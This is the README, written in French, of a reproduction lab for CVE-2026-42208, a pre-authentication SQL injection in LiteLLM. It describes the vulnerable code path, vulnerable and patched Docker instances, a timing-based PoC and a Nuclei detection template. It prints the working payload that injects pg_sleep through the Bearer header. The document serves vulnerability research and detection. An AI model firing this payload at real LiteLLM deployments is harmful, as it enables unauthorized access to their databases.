
Laboratoire de reproduction pour CVE-2026-42208, une injection SQL critique sans authentification dans LiteLLM. Inclut des environnements vulnérables/corrigés basés sur Docker, un exploit PoC basé sur le timing, et un modèle de détection Nuclei pour les tests de sécurité.
Un environnement de laboratoire pour reproduire et détecter CVE-2026-42208, une injection SQL critique avant authentification dans LiteLLM où des jetons Bearer non nettoyés atteignent une requête PostgreSQL brute.
| Champ | Détails |
|---|
| ID CVE | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Versions affectées | >= 1.81.16, < 1.83.7 |
| Version corrigée | v1.83.7 (requête paramétrée) |
| CWE | CWE-89 (Injection SQL) |
Vulnérable (v1.83.6) :
POST /v1/chat/completions
Authorization: Bearer <payload> ← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Corrigé (v1.83.7) :
Même chemin de requête, mais :
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← paramétré, pas d'injection
| # | Condition | Détails |
|---|---|---|
| 1 | Version affectée de LiteLLM | >= 1.81.16, < 1.83.7 |
| 2 | Backend PostgreSQL | Les déploiements SQLite ne sont pas concernés |
| 3 | Aucune authentification requise | Pré-authentification ; aucun identifiant nécessaire |
| 4 | ≥1 ligne dans VerificationToken | pg_sleep ne se déclenche que par ligne ; table vide = pas de délai |
Machine hôte
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNÉRABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ CORRIGÉ)
Docker: litellm-db-patched (PostgreSQL 15)
| Outil | Installation |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl, python3 | préinstallé sur macOS |
bash scripts/01-setup.sh
Une fois terminé :
══════════════════════════════════════════════════════
Laboratoire prêt !
Vulnérable (v1.83.6-nightly) : http://localhost:8010
Corrigé (v1.83.7-stable) : http://localhost:8011
Clé maîtresse : sk-lab-master-key
Suite : bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
Sortie attendue — vulnérable (v1.83.6-nightly) :
── Vulnerable (v1.83.6-nightly, port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
Sortie attendue — corrigé (v1.83.7-stable) :
── Patched (v1.83.7-stable, port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
# Instance vulnérable → devrait produire une alerte [critique]
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Instance corrigée → ne devrait produire aucune alerte
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
Vulnérable (v1.83.6-nightly) :

Corrigé (v1.83.7-stable) :

bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Analyse au niveau du code (anglais)
├── LAB_SETUP_GUIDE.md # Guide de configuration du laboratoire (anglais)
├── NUCLEI_TEMPLATE_GUIDE.md # Conception du modèle Nuclei (anglais)
├── docker-compose.yaml
│
├── REPORT/ # Rapports coréens
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Modèle de détection Nuclei
│
└── scripts/
├── 01-setup.sh # Démarrer les conteneurs, créer une clé de départ
├── 02-exploit.sh # Preuve de concept : preuve d'injection temporelle
└── 99-teardown.sh # Arrêter et supprimer toutes les ressources du laboratoire
Étape 1 GET /health/liveliness
→ match "I am alive" dans le corps
→ confirme que la cible est une instance LiteLLM
Étape 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Correspondances (ET — toutes doivent réussir) :
status == 401 élimine les faux positifs 504/502
body contient "auth_error" OU "Authentication Error"
confirme le chemin d'authentification LiteLLM, pas un proxy
duration >= 5 pg_sleep(6) déclenché → injection confirmée
Prévention des faux positifs :
status == 401 élimine les réponses provenant de dépassements de délai en amont (504) et d'erreurs de passerelle (502)duration >= 5 est suffisamment élevé pour exclure la gigue réseau (baseline ≤0,5s)Attention : Tous les identifiants dans ce laboratoire sont des données de test fictives, utilisées uniquement à des fins de recherche en sécurité. Ne jamais les utiliser en production. Obtenez toujours une autorisation explicite avant de scanner des systèmes qui ne vous appartiennent pas.